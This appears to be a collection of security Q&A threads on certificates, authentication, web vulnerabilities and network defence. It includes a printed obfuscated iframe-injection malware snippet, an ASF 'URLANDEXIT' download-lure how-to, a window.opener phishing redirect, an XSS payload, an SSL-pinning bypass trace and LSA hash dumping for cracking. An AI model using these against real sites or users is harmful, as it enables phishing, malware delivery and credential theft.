How do cert authorities set and determine subjectAltNames if not provided by end user? Let's say as an end user I generate a CSR (for a server cert) to send over to a CA and I don't include a subject alternative name. How or what would they do in order to include that information on the server certificate they send back? Or would they not send anything back at all and reject it telling me to include one?

Assuming a scenario where they don't reject it, my best guess is doing something like subjectAltName = commonName or subjectAltName = {domain of e-mail} ?

Basically I am attempting to act as my own CA using OpenSSL (1.1.0i). I've created a root pair and 2 intermediate pairs. I know I could provide SANs manually each time but I figured if there's a way to automate and have more fail-safes that would be cool too.

A CSR is nothing more than a (signed) proposal of what kind of certificate you want to have. It is actually not really needed to create a certificate, i.e. a certificate could be created completely without having a CSR first.

The CSR proposal contains the public key which should get included into the final certificate and it contains things like subject, subject alternative names etc which propose to add to the certificate too. The CSR is signed with your private key so that the CA can verify that you actually own the private key matching the public key of the certificate.

The CA takes the information from your CSR which it likes when creating a certificate and also adds many information by its own, i.e. not taken from the CSR. It will take the public key from the CSR. The subject it adds to the certificate will probably be based on your CSR proposal, but it might also modify it, add subject alternative names you did not add (i.e. might add www.domain) and exclude others which you've tried to sneak in etc. It will also add start and expiration time, AIA (like URL for OCSP requests), issuer information, certificate purpose ... - and most of these will not be taken from the original CSR.

  Basically I am attempting to act as my own CA using OpenSSL (1.1.0i)

I'm not sure if and how one could use the openssl tool to create certificate hierarchies without CSR but one can definitely do this with the OpenSSL library. For example I regularly create test certificates with root, intermediate and leaf certificate like this in Perl without needing any CSR:

use strict;
use warnings;
use IO::Socket::SSL::Utils;

my @root = CERT_create(
    subject =>  { CN => 'root' },
    CA => 1,
);
PEM_cert2file($root[0],'root-cert.pem');
PEM_key2file($root[1],'root-key.pem');

my @middle = CERT_create(
    issuer => \@root,
    subject =>  { CN => 'middle' },
    CA => 1,
);
PEM_cert2file($middle[0],'middle-cert.pem');
PEM_key2file($middle[1],'middle-key.pem');

my @leaf = CERT_create(
    subject =>  { CN => 'example.com' },
    subjectAltNames => [
        [ 'DNS', 'example.com' ],
        [ 'DNS', 'www.example.com' ],
        [ 'IP', '10.0.3.4' ],
    ],
    purpose => 'server',
    issuer => \@middle,
);
PEM_cert2file($leaf[0],'server-cert.pem');
PEM_key2file($leaf[1],'server-key.pem');


How does DCOM authentication compare to RPC based authentication/auth? The following paragraph from MSFT Best Practices for 2003 PKI says Windows 2000 authenticated via RPC vs 2003 that authenticates using DCOM

  A CA running Windows Server 2003, Enterprise Edition, uses DCOM and Kerberos impersonation for authenticating requesters. It compares the client token against an access control list (ACL) set on the certificate template, as well as the DCOM enrollment interface on the CA itself, when a certificate is requested. A Windows 2000 Server CA uses remote procedure call (RPC) instead of DCOM to authenticate a requester. After the user is authenticated and authorized to gain access to the requested template, the CA can immediately process the request, as long as the user has the appropriate enrollment permissions on the template and if the CAs configuration is set to autoenroll.

Q: Can anyone explain how DCOM is different than RPC, in terms of Authentication and Authorization?

Some relevant screenshots of DCOM configuration (I don't have anything similar for RPC):

Why would software implementation choose DCOM over RPC?  Is DCOM a superset of RPC or is it a separate entity?

Comparing DCOM to RPC is much like comparing HTTP to TCP.

In fact, DCOM actually uses RPC as the transport mechanism, when it is necessary to send the DCOM requests over the network.
RPC, as a transport protocol, does not have any built-in authentication mechanisms; DCOM has authentication as part of the protocol.

So, for Windows 2000, when the full suite of DCOM was not already available, the CA used the existing transport protocol, RPC, but had to develop a custom application protocol on top of it, to implement things like authentication and authorization.
For Windows 2003, with the pre-developed, pre-built, pre-tested, and pre-deployed DCOM available, they could just use the authentication and authorization mechanism already there.

This is why you can have the screenshot of the configuration of DCOM permissions (its built in to the OS), but not RPC (this does not exist as part of the protocol).
Moreover, since DCOM can use Kerberos as it's authentication mechanism, you can have things like limited impersonation which allows impersonation for authenticating requesters and compares the client token against an access control list (ACL), instead of the (CA) application having to custom roll its own.

  Why would software implementation choose DCOM over RPC?

Because it's available.


Is RFI still a viable attack vector? So, I know Remote File Inclusion bugs are practically dead within modern PHP applications since register_globals and allow_url_includes are disabled by default in php.ini (ever since php5x I believe?) but I'm wondering whether it's still a viable attack affecting other web-based lanuages?

Does anyone know if other server-sided web-based languages are still vulnerable to RFI? If so, which languages, and more importantly, which functions?

I'm talking default configurations here, not obscure edge-cases.

No it's mostly a dead bug class, requiring weakened configuration to exploit on modern servers as you stated. The I in RFI stands for include() and even though it can be exploited through require() and the _once variants I suppose it would require these functions to be a RFI bug. Something like eval(curl_exec($url)) is not an RFI bug, but could be hard to distinguish from a black box perspective.


Security about window.opener and iframes I have 3 domains : domainA domainB domainC

If I set target="_blank" on domainA with a link to domainC, domainC can access a bunch of property of domainA. That's why I use target="_blank" rel="noopener noreferrer".
Otherwise, things like easier phishing are possible. Consider the following code on domainC :

if(window.opener){
   window.opener.location="http://phishing.com"
}

If domainA contains a link like <a href="https://domainC.com" target="_blank">, the condition will trigger and redirect domainA to attacker controlled domain. Otheres properties, like window.opener.length are readable.

While it is not really a vulnerability in fact because defined by the W3C, it is unknown from most developpers.

Now, I want to include an iframe from domainBin domainA, which I trust, but which is not protected against target="_blank" vulnerability.

I tested and clicked on a link on my iframe, and it looks like the window.opener wasn't null as it would be with noopener noreferrer, but I havn't be able to access attribute nor methods of it. When doing so (eg : redirecting), it prints :

  Unsafe JavaScript attempt to initiate navigation for frame with URL domainB from frame with URL domainC. The frame attempting navigation is neither same-origin with the target, nor is it the target's parent or opener.

Then, can we consider it safe to include iframe without protection on target="_blank"?

You are looking for the "sandbox" attribute : https://developer.mozilla.org/en/docs/Web/HTML/Element/iframe

  allow-top-navigation: Allows the embedded browsing context to navigate (load) content to the top-level browsing context. If this keyword is not used, this operation is not allowed.


How can someone exploit Google's Physical Web? A thought: The list of URL's is ranked by signal strength. What's stopping someone from increasing the broadcasting strength of their beacons so that they rank first?

What else could be done?

For anyone unfamiliar with the Physical Web: https://google.github.io/physical-web

Basically, the Physical Web is a discovery service powered by bluetooth low energy beacons. Smart objects broadcast relevant URLs that any nearby device can receive.

A more serious attack vector is phishing or distributing malware. Set up a beacon with a legitimate and/or appealing name, broadcasting a malicious link. Given that (at least for now) this will mainly be used with Android you'd have way more success considering the security record of those devices. (but of course, Google prefers to play with beacons rather than fixing way more important issues like that one).

A solution would be to have CAs just like in the X509 world where the client software that listens for the beacons checks the broadcast's signature against its trust store, and to register a beacon you'd have to obtain a certificate from a CA which will perform verification on what you want to broadcast (so Honest Joe can't make a beacon named Bank and broadcast a phishing link).

Against broadcast strength amplification attacks the client devices should "ping" the beacons and observe how long it takes them to respond. With that you can calculate the distance to the beacon based on the speed of light in air. You can have a very strong signal, but if the beacon is physically far away it would still take a (relatively) long time to respond. However that opens up a different issue, if the client devices are now pinging beacons, then you have a privacy issue because client devices can now be detected and tracked.


Questions about TLS handshaking process I am trying to understand how TLS works. Assuming the I have a java client that uses TLSv1 to communicate to the server which supports TLSv1.2, can the client talk to the server successfully?

When a server supports TLSv1.2, does this mean it is capable of accepting connections which are TLSv1, TLSv1.1 and TLSv1.2 or does it just accept TLSv1.2?

A server generally isn't configured to only support one version. The server can be configured to accept all versions, even lower stuff like SSLv3. During the initial connection between the client and server, they will negotiate and determine the highest protocol version they both support.

That being said, if a server only accepts 1.2 and the client only knows 1.0, they will not be able to negotiate a connection.


ISO 27001 - procedures templates for ISMS at small companies? Is anybody use publicly available (or relatively cheap) templates of procedures for ISO 27001 for build own information security management system capable to be conform standard.
Any recommendation?

After such organic building system did you certified it? Or crucial was reach comparable metrics and staff behavior, not official papers?

Something like this from the ISO27k Forum? I found a whole bunch of paid-for templates too.
As requested. From the linked site:

The FREE ISO27k Toolkit consists of a collection of ISMS-related materials contributed by members of the ISO27k Forum, either individually or through collaborative working groups organized on the Forum.  We are very grateful for their community-spirited generosity in allowing us to share them with you.
The Toolkit is a work-in-progress: further contributions are most welcome, whether to fill-in gaps or provide additional examples of the items listed below.
Please observe the copyright notices and Terms of Use.
IMPORTANT DISCLAIMER: this is generic information donated by various individuals with differing backgrounds, competence and expertise, working for a variety of organizations in various contexts.  The ISO27k Toolkit is provided as a starting point for you to consider, adapt and enhance as necessary to suit your specific situation.  Your information security risks are unique, so it is incumbent on you to assess and treat your risks as you and your management see fit.  Don’t blame us if the ISO27k Toolkit is unsuitable or inadequate for your circumstances: we are simply trying to help!


Reflected XSS through cookie value? I have always looked at reflected XSS as an attack that would take place through a URL.  So, for example, you would have a URL like below:

http://someSite.com?message=welcome!<script>alert(1);</script>

and the message would be written to the page.  In order to execute the attack you would need to trick someone into clicking on that link.

I was recently looking at a website using BurpSuite and it flagged a reflected cross site script vulnerability and the attack vector was a cookie value.  While I could indeed change the cookie value to have it render javascript on the page, I don't understand how this could be used to attack another user.

In my first example, a user would need to click a link to execute the attack.  How would you execute an attack with the second vulnerability?

Due to the same-origin policy for cookies, a kind of "chicken or the egg" situation is created.   In order for the attacker to make this XSS vector viable,  they would need another flaw to set the cookie value .

One possible exploit path is using a XSS vulnerability on a subdomain to leverage the following property of cookies:

 www.foo.bar.example.com may set a cookie to be sent to *.bar.example.com or *.example.com, but not to *.something.else.example.com or *.com

Another exploit path would be to use HTTP response splitting on a page that is performing a redirect.  In this situation HTTP response splitting cannot be used to control the HTTP body, which is required for XSS,  instead the attacker can inject a set-cookie HTTP header to exploit a cookie-based XSS vulnerability on another page.

In many cases this cookie-based XSS is not exploitable.  Burp should have marked this issue as yellow, which reflects a medium/low likelihood of exploitation.


Digital signatures with Long Term Validation (LTV), how is revocation verified? I'm having troubles understanding, how a PDF that has been signed - let's say years ago - with a Long Term Validation digital signature, can be verified today, when the certificate issuer has gone bankrupt and it's CRL responder is no longer online?

How do I see whether or not this documents signature has been revoked any time since?

For checking the signature on a document it does not matter if the certificate is revoked now. It is instead relevant that the certificate was not revoked at the time the document was signed.

That's why a long-term validation signature involves also the certificate revocation status at the time of signing (which contains a time when this status is valid) and ideally also a secure timestamp so that it cannot be signed later while including an old revocation status. See Establish long-term signature validation for the details.


Backtrack 5 in a VM - Why bridged networking over NAT? When running Backtrack 5 from a VM, it is recommended to use the bridged networking option instead of the NAT networking option? How does it affect the usage of Backtrack - port scanning, vulnerability scanning, wireless packet injections?

When in NAT mode the network subsystem of the hypervisor operates by modifying the packets as they leave the host. Assuming TCP/IP over ethernet, the components definitely changed are:

source address
source MAC
usually the TTL
often the source port

Sometimes other TCP flags will get modified as well such as DF, Window size, etc.

In a well behaved network, where all of those flags and options are set in a way that makes sense according to RFC then that stuff can be, and is expected to be, modified appropriately. A vulnerability assessment tool, however, operates by doing things in non-compliant and misbehaved ways. So those normally acceptable header and protocol modifications can actually cause the software to misinterpret the results.

Let's take OS detection as an example. The system will throw a combination of normal and abnormal packets at a system. The network stacks used in most OSes are well known enough that their responses should be predictable in both success and failure situations. So the assessment tool will take the responses, look them up in the OS detection table, and make some guesses about what it thinks the remote host is running based on those responses. Since the NAT device works by munging all of the packets coming in and out you taint your data.

Now, in the vast majority of cases the data may still be totally fine. However, since the packets are modified externally from the assessment tool, the tool won't necessarily know what changes were made. As a result you run the risk of the tool performing analysis on incorrect data which may invalidate your results.

On a related note it has historically been the recommendation to not run host firewalls on vulnerability assessment systems for much the same reason. Since they, by design, spew out abnormal traffic, and since firewalls are designed to protect you from abnormal traffic, it's entirely possible your firewall may drop something in a way unexpected by the assessment tool. Much like the NAT example, this can also invalidate your results.


How much I can depend on TOR to protect my identity, especially from outlook.com guys

I am using Tor browser from some time, few weeks maybe and I am still trying to determine the level of anonymity that the browser gives.

I am using the browser to advertise a service that I am offering in social networks. I create the accounts using outlook.com e-mail and since I am using Windows OS, I was wondering if outlook.com could get any information about my real identity when I am using their e-mail services. I am asking this because I have heard that if some company has a software installed on your computer, it can detect your MAC address. And what concerns me in particular is the fast that when I log into my outlook.com e-mail, it shows that I am active in Skype and Messenger. Since I never linked my skype account with the outlook.com account, they shouldn't have such kind of information right?

So my question is - is there any chance that Microsoft and Outlook.com could have any kind of information about my true identity, I mean about the fact who uses the particular @outloo.com e-mail address and such? Is there any way for them to disclosure my true identity if the police asks them to? Such kind of things.

Thanks in advance to anyone who would be kind enough to answer my question.

Best regards,
Cairien

You say that you do not trust Microsoft and want to hide your identity from that company.

However, this is gapingly inconsistent with your action of using an operating system that consists of countless of megabytes of binary executable code produced by Microsoft.

Suppose that you use an operating system whose vendor you do not trust; you suspect that it might gather information about you and leak it.

A way to combat this is, firstly, not to enter any personal information into that computer or through that computer.

Secondly, treat it as a potentially harmful blackbox and firewall it properly: use your external router (not the internal firewalling features) to block that box from connecting to anything on the Internet.  Make only a rew judicious holes in the firewall for any needed access, and only to specific IP or domain name destinations.

Do not enable any "automatic updates" (they shouldn't work anyway since they are blocked). Use alternative means to keep that OS up to date that do not involve "phoning home", such as using another computer to download service packs and transferring them to that computer.

If you in fact completely distrust the vendor of some device and its operating system, yet for some reason still want that on your network, you should use a two firewalls: it should go through a firewall to talk to other nodes on your local network, and to go outside. This way you have some protection against that untrusted device attacking our LAN, and from that device phoning home to relay information.


Does an ISO27001 audit require users to reveal their passwords? My company's system administrator is asking for our passwords for an ISO audit and my VP IT operations support says it's mandatory for ISMS (ISO27001).

Can someone confirm if this is true?

Absolutely not!

ISO 27001 requires management of passwords and requires having password policies. Someone in your company is interpreting this as needing to inspect all passwords in the clear to ensure that they meet the password policy.

But this is a terrible way of doing this audit. Technology should be in place to force people to comply with password policies when they make passwords, not to inspect them by hand once they are made.

There is a wide-ranging series of failures if they want to audit passwords by looking at them ...


How to inject a malware in a video Is it possible to trigger an antivirus program to alarm by playing a video? I don't want to run malware, I only want the AV to do something. Can I put EICAR in the metadata?

The video file shoudn't be corrupted.

It is possible for malware to be embedded in or disguised as a video file, but the effect of doing this depends on how the media player interprets the content.

Embedding hyperlinks in a video file is a type of possible attack.

A practical how-to example: ASF (Microsoft's Advanced System Format) allows for a simple script commands to be executed - "URLANDEXIT" is placed at address 0x1329-133B and following any URL. When this code executes, the user can be directed to download a dangerous file that can be masked as a plugin,update or codec and require the user to execute it in order for the media file to play. At that point, the user gets compromised.

So to get an AV to trigger all you have to do is point that URL to a file (like EICAR) that is detected as a virus by your AV.

Examples of some video format known cases:

.asf - W32/GetCodec.worm - Infects .asf files to embed links to malicious files

.mov - crafted - Executes arbitrary code on the target user's system

.mov - crafted - Launches embedded hyperlinks to pornographic sites

.rm/.rmvb - crafted - Launches malicious web pages without prompting

.rmvb - W32/Realor.worm - Infects Real Media files to embed link to malicious sites

.swf - Exploit-SWF.c - Vulnerability in AVM2 "new function" opcode

.swf - Exploit-CVE-2007-0071 - Vulnerability in DefineSceneAndFrameLabelData

.swf - Exploit-CVE-2010-2885 - Vulnerability in ActionScript Virtual Machine

.swf - Exploit-CVE2010-3654 - Vulnerability in AVM2 MultiName button class

.wma/.wmv - Downloader-UA.b - Exploits flaw in Digital Rights Management


SSL Pinning: Managing changes in the pinned certification on client side Let's assume that we have a client application talking to a server via SSL.
Let's also assume that the client is using SSL certificate pinning, i.e. the client will refuse the server certificate unless it conforms to a specific hard coded one the client was released with.

As certificates have expiration dates, the pinned certificate of the server will eventually have to be replaced. This process generally calls for some application/client side update to make the client aware of the new certificate 'to pin'.

Are there best-practices on how this transition/change can be managed?

I'm thinking of something more sophisticated than two people pressing a button at the same time (i.e. the server cert being updated and the application forcing the user to update)... The organisational processes involved here can be non-trivial, especially since the release and maintenance cycles of client/server/operations might be running according to different schedules and priorities.

Maybe something like (I'm just writing down a rather naive approach here):

Client has multiple certificates stored for the server, with different but overlapping validity periods.
If one pinned certificate is expired the client checks if he has a different still valid one...

--> This would allow new 'pinned' certificates for a server to be delivered well in advance of actually switching certificates on the server.

You can pin more than one certificate, and you should pin at least 2. If somehow you lose access to one certificate, you can use the second. With only one certificate, nobody that connected to your site with pinning enabled will be able to connect to your site via HTTPS until the certificate expire (but they can connect via HTTP). If you employed HSTS, nobody that ever connected will be able even via HTTP.

So, as long as you have a valid certificate, you can alter your webserver configuration to send the current and the new certificate on the same response, and the browsers will cache the new one too.

For example, your server uses the current setup:

Public-Key-Pins: max-age=2592000;
pin-sha256="abcd9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=";

And the certificate with fingerprint abcd9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g= is to expire in 2 months. You just alter the server configuration to add the new certificate LPJNul+wow4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ= with the response headers:

Public-Key-Pins: max-age=2592000;
pin-sha256="abcd9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=";
pin-sha256="LPJNul+wow4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ=";

But if you let the certificate expire, you have to wait until the max-age expires to be able to send another certificate.


Can you Encrypt your HOST Machine, while Inside an emulated Virtual Machine? Such as when you are completely Inside the VM, can you have your Host machine in which the VM resides be completely Encrypted while running the VM?
say for example:
UBUNTU(host machine):->run VM(Arch)
and have Ubuntu be completely Encrypted whilst in the Arch VM?
I have seen no questions about this and am sure it must be possible... right?

If I understand your question correctly, what you are after is not possible. The reason for this is that encryption can protect data while it is transit or at rest, but not while it is being processed. As the comments stated the host OS must be running in order to run the guest, so you cannot encrypt the Ubuntu partition that is also running your VMs.
A solution is to either make a dedicated machine as a hypervisor (which if you run without a GUI will consume less resources and need less patching) or to encrypt any sensitive files on your host using file encryption. An example of a program that can encrypt individual folders or the entire drive (which will not work for this use case) is Veracrypt. After creating the secured folder/container with Veracrypt, you could decrypt it only when you need access to the contents and running your VM, leaving it encrypted whenever you use the VM so that if a VM escape exploit does occur the attacker can still not read your data.
EDIT: Just making it clear that this answer is based on the below quote from the question;

say for example: UBUNTU(host machine):->run VM(Arch) and have Ubuntu be completely Encrypted whilst in the Arch VM?

You can encrypt your host/hypervisor with disk encryption to protect data during transport or rest, but you cannot have the host/hypervisor encrypted while it is actually running VMs.


How to avoid Heartbleed like problems in the future? I asked a question on stackoverflow, but guess this site is better suited for it.

Idea is to prevent problems when the next buffer overflow bug comes out.

In my understanding the problem with Heartbleed was the access to memory of previous requests? Isn't it possible to wipe the memory after using it? To use different memory spaces for each request, that are not accessible by the next one? If the web server (e.g. apache or nginx) is started with multiple processes, are they still sharing memory containing user information?

My question in short: Is it possible to configure Apache/Nginx/Linux/others to use a more secure model of memory access?

Performance reduction wouldn't matter since Heartbleed 2.0 will eventually come and then you just have a quick laugh instead of lots of work.

(Much of this is based on my answer here)

There are techniques, such as memory guard pages and wiping of deallocated memory, that should have stopped Heartbleed or a similar attack in the future.  OpenBSD, for example, uses them by default.  Heartbleed was made worse because it uses its own memory allocator that actively works to defeat memory protection.

There's a limit to how much protection an operating system can provide against incompetent programming.  Heartbleed exceeded that limit.


Detect if AES and hmac keys are invalid I have a server which has a configured value of AES and HMAC key.
The client also should have the same keys.

When the client sends a request, the server interprets this request and reads the message.

Now when the client has the wrong AES and HMAC keys, the server will still interpret the request from the client but get the wrong message out of it since the AES and HMAC keys are different.

Is there a way for the server to tell whether the AES and HMAC keys used by the client are wrong? From what I understand, the server will get the wrong message after decrypting the client request, but cannot tell if the keys used by the client are wrong.

The server should never even attempt to decrypt the message.  If the HMAC keys are different between the server and the client, the authentication should fail (the server won't be able to create the same MAC from the ciphertext and the server key, since the server key is not the same as the client key, and the process should abort.

Now, if you're doing something sub-optimal like MAC-then-Encrypt, or MAC-and-Encrypt, you have other issues, but you still won't be able to authenticate the plaintext since neither the plaintext nor the MAC will match, and you should know at that point that you have a problem.


Which protocols employ cover traffic Do the protocols employed by wpa 2 and vpns use "cover traffic". A constant busy signal that would not allow for meta data analysis. If not is there a service that does this for you.

No, they do not.

The only systems I know of that do traffic padding to defeat analysis are some mix networks such as Mixminion.  It's a frequently-proposed thing for anonymizing networks such as TOR, but in practice, it's difficult to set up and tends to waste a great deal of bandwidth, increase latency, and constrain the total bandwidth of the network.


Can't log in into Twitter for Android app after SSL Bypass I don't know if this is the right forum for this kind of question.
I was trying to intercept traffic from Twitter for Android app and for that I needed to bypass the SSL pin they implemented. Basically I was following this tutorial
and I got it to work.... sort of:
Spawned `com.twitter.android`. Resuming main thread!
[Android Emulator 5554::com.twitter.android]->
[.] Cert Pinning Bypass/Re-Pinning
[+] Loading our CA...
[o] Our CA Info: O=mitmproxy, CN=mitmproxy
[+] Creating a KeyStore for our CA...
[+] Creating a TrustManager that trusts the CA in our KeyStore...
[+] Our TrustManager is ready...
[+] Hijacking SSLContext methods now...
[-] Waiting for the app to invoke SSLContext.init()...
[o] App invoked javax.net.ssl.SSLContext.init...
[+] SSLContext initialized with our custom TrustManager!
[o] App invoked javax.net.ssl.SSLContext.init...
[+] SSLContext initialized with our custom TrustManager!

but now whenever I try to login I get a Toast saying
You've exceeded the number of attempts. Please try again later.
I also get api_error_code=243 in mitmproxy saying that I should try again in an hour.
The issue is that I did this yesterday and when I tried today I still get the same error.
Does anybody know what might be the issue?

Ok so it turns out everything worked fine I just got IP blocked. Turned on a VPN and there are no issues.


Are very short messages secure using Public Key Encryption? Say Alice publishes her public key and then disappears from public view.

Bob then needs to send a message to her that's either "OK" or ":(" so he takes her public key, encrypts his message and then publishes it publicly on the Internet.

What's to stop Eve from taking the publicly encrypted message, and then brute force encrypting every two letter combo with Alice's public key until she finds a match?

Not with "textbook" RSA, where you encode your message as a large number and directly compute the ciphertext c from the message text m and public key (e,n) with c = m^e mod n and decrypt using the secret key (d,n) like m = c^d mod n.

But with real RSA, most definitely yes as randomness is introduced.

One common scheme (RSA ISO standard - which is a hybrid encryption) is to first create a long random number (e.g., if using 2048-bit RSA that is n is 2048 bits, choose a random number (up to 2048-bits long), which will become your RSA message mrsa.  This RSA message is then asymmetrically encrypted.  You then create a cryptographic hash (e.g., SHA-256) of this random value to create a 256-bit symmetric key.  Your real message will then be encrypted with the symmetric key (using say AES-256-CBC) and these two ciphertexts are appended together.

Granted in practice the encryption scheme is slightly more complicated; e.g., a protocol like OAEP is used to additionally provide message authentication to prevent more sophisticated adaptive chosen ciphertext attacks against a decrypting oracle (that HTTPS servers provide).  In fact as CodesInChaos pointed out, using a good padding scheme (like OAEP) directly for a short message allows you to apply RSA directly to the short padded message.

Aside into Optimal Asymmetric Encryption Padding (OAEP)

OAEP works as shown in the diagram below.  For concreteness, let's assume 2048-bit RSA (meaning n=2048 bits) and let H be the SHA-256 hash function and G be a mask generation function based off of a hash function (that essentially creates a hash of the desired length of N-k0 bits starting with SHA-256).  The choice of hash function means that the length of r (and Y) is k0 = 256 bits.  Also note the red ⊕ (circles with plus) means XOR.

So we have a short message m (of length n-k0-k1 which is shorter than n-k0=2048-256=1792 bits) that we want to RSA encrypt directly.  We create a padded version mpad to be exactly n-k0 bits long (the pad will be k1 bits long and start with a 1 followed all zeros).  We create a random k0=256 bit number and call it r.  We compute G(r) and XOR this value with the padded message and that becomes X.  You then take X and compute H(X) and XOR this with r to provide Y.  Then with your OAEP padded message (the concatenation of X and Y), you can directly apply RSA encryption to it.

Or to summarize  X = mpad ⊕ G(r) and Y = H(X) ⊕ r, with the OAEP message going into RSA being the concatenation (X,Y).  For decryption, first the RSA message is decrypted to recover (X,Y).  The decryptor calculates H(X) and xors it with Y, to find r, that is r = Y ⊕ H(X).  Then the decryptor calculates G(r) and xors it with X to recover the original padded message (and the pad can be truncated off by dropping everything starting from the last 1 followed by all zeros).


Prevent ARP spoofing with dynamic static entry on Linux ARP spoofing detection/prevention seems to be quite popular here. With other techniques like port stealing aside, I'm wondering if the following could work to prevent it:

Whenever my Linux workstation gets network connection, I could auto-add a static ARP entry designated with the MAC address of the default gateway as obtained at that moment. (Supposedly, gateway NICs don't just change their MACs afterwards.)

Implemented as something to the like of the following script which can be put into /etc/network/if-{up,down}.d on a Debian-based GNU/Linux (or in /etc/NetworkManager/dispatcher.d wherever that is used):

#!/bin/sh

# If not Debian, account for NetworkManager's dispatcher.d
IFACE="${IFACE:-$1}" MODE="${MODE:-$2}"

# Support eth/wlan/wwan interfaces
case "$IFACE" in en*|eth*|wl*|ww*) ;; *) exit 0; esac

neighbors="/run/ifup.$(basename "$0").$IFACE"

case "$MODE" in
    start|*up*)
        sleep 6
        arp -an -i "$IFACE" | cut -d' ' -f 2,4 | tr -d '()' > "$neighbors"
        while read host hwaddr; do arp -s $host $hwaddr; done < "$neighbors"
        ;;
    stop|*down*)
        [ ! -f "$neighbors" ] && exit 0
        while read host _hwaddr; do arp -d $host; done < "$neighbors"
        rm "$neighbors"
        ;;
esac

I guess there is a race condition right after the connection is established, but other than that, to secure the MAC of the default gateway if nothing else, would something lightweight like this work and work well enough to set it and forget it? Would it get in the way of wifi roaming? Are there any other considerations?

I did not analyse your script. However, it looks complex.

Why don't you use ARPtables? It's like IPtables, but for ARP.

Block ARP traffic from all machines (default: DENY)
arptables -P INPUT DROP

Allow router (fixed ARP)
arptables -A INPUT --source-mac d8:d7:21:22:5a:f4 -j ACCEPT

This way you will only exchange ARP packets with your router.

Source: http://linux-audit.com/filtering-arp-traffic-with-linux-arptables/


Just to show you what this script does as it's always interesting the obfuscation techniques people use.

<?
#68c8c7#  echo " ";
#/68c8c7#
?>

And the 'asgq' variable had the following code:

(function () {
    var yokdj = document.createElement('iframe');

    yokdj.src = 'http://*********.nl/relay.php';
    yokdj.style.position = 'absolute';
    yokdj.style.border = '0';
    yokdj.style.height = '1px';
    yokdj.style.width = '1px';
    yokdj.style.left = '1px';
    yokdj.style.top = '1px';

    if (!document.getElementById('yokdj')) {
        document.write('

');
        document.getElementById('yokdj').appendChild(yokdj);
    }
})();

I have taken out the URL as I don't think it's a good idea for people to be going to websites that may contain malware.


Can here be SQL Injection i got till moment when i do not know if it is secure!
If SQL injection is inserted into myTableTwo via safe PDO query will it make my query below SQL injection open? Is the query below safe?
$mysfield returns SHOW COLUMNS FROM myTable
myTable columns match myTableTwo columns
$sql = $pdo->prepare("INSERT INTO myTable (".$mysfields.") SELECT ".$mysfields." FROM myTableTwo");
$sql->execute();

EDIT
This is how i insert into myTableTwo
$sql = $pdo->prepare("INSERT INTO myTableTwo (column1, column2) VALUES (?, ?)");
$sql->execute([$value1,$value2]);

Your program might not be vulnerable because of some restrictions you have (maybe the variables cannot be changed by any user input), however I still think you are using prepared statements incorrectly.
Prepared (or parametrized) statements are meant to be used with "parameters" in order to be secure against SQL injection. In other words, the statement should be like a "template" with parameters. Then you will have to bind the variables to the parameters. See the examples at https://www.php.net/manual/en/pdo.prepare.php for example, where you will see that the parameters in the statement look like :param, and are not actual variables like $param. Using parameters in that way is the only way to achieve separation between code and data, so that SQL injection will be prevented.


Shared hosting vs VPS I have an Asp.net site. Which hosting system do I need to secure it adequately* against anyone reading private information that's on the server? This is assuming I'm not worried about the sysadmins getting it.

Note: Even if no one  gets control of the site - the problem remains of reading the information.

Note 2: I am not asking about anyone hacking my site directly such as by sql injection. Rather by getting around the site, such as by using another account on the web host to get to my information.

So:

Is shared hosting enough?
Do I need a VPS, and is it really any safer than shared?
Or - Must I set up my own server, and appropriate ISP etc.? If so -
will it actually be more secure - since I am no expert on the
subject?
Can Windows Azure be of help here?

If I am asking this incorrectly, such as addressing a moot point because of some "weaker link", etc. Please correct me.

* Yes, I know. "Adequately" is not an exact term. But any information from the experts (-that's you!) might be helpful: Can most Windows shared hosts be cracked (in the sense mentioned above) by any hacker in an hour? Or will an expert hacker have to dedicate a week for it? The security level needed here is not anywhere like that of financial institutions', I'm looking for "good enough".

Since your question is strictly about local exploitation rather than remote exploitation, I'll address it from that angle.

First of all, trust must exist between you and your host provider. Having a shared hosting, VPS, or even your own completely separate hardware as a server with that host are almost always the same. Your host provider is able to access your code, your database, and everything you're keeping on their servers.

As for your concern about other sites accessing your site, it depends; it all depends on the server's configurations. If the server is configured securely: access rights and directory permissions are set in secure fashion (each user has access rights to his own directories), server-side interpretation engine's (for example, PHP) threads are separate and all run under separate users, etc.

The most likely scenario in well configured shared hostings is exploiting a vulnerability in one site and then using a privilege escalation exploit to gain root access and from there the attacker can reach your site. In this case, having a VPS (even one with a system with an unpatched privilege escalation vulnerability) still offers more security than a shared hosting.

Those concerns must be discussed with your provider before signing a contract with them.


Using Windows LSA Hashes obtained from crackmapexec I have obtained some hashes using crackmapexec and dumping from the LSA process. The hashes are in this form (data below is fake):

adm_name:c6f132a235209036744ba5d303bd5d9b:SOME.ORGANISATION.COM:ORGANISATION:::

The hash identifying utilities in Kali do not recognise the hash as is but do give some output if the hash is modified.
For tool hash-identifier input:

c6f132a235209036744ba5d303bd5d9b

Results:

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

For tool hashid input:

adm_name:c6f132a235209036744ba5d303bd5d9b

Outputs:

[+] Domain Cached Credentials
[+] Domain Cached Credentials 2

john accepts the hashes as is but reports:

Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "HAVAL-128-4"
Use the "--format=HAVAL-128-4" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "lotus5"
Use the "--format=lotus5" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "MD2"
Use the "--format=MD2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mdc2"
Use the "--format=mdc2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash"
Use the "--format=mscash" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash2"
Use the "--format=mscash2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD4"
Use the "--format=Raw-MD4" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5"
Use the "--format=Raw-MD5" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5u"
Use the "--format=Raw-MD5u" option to force loading these as that type instead
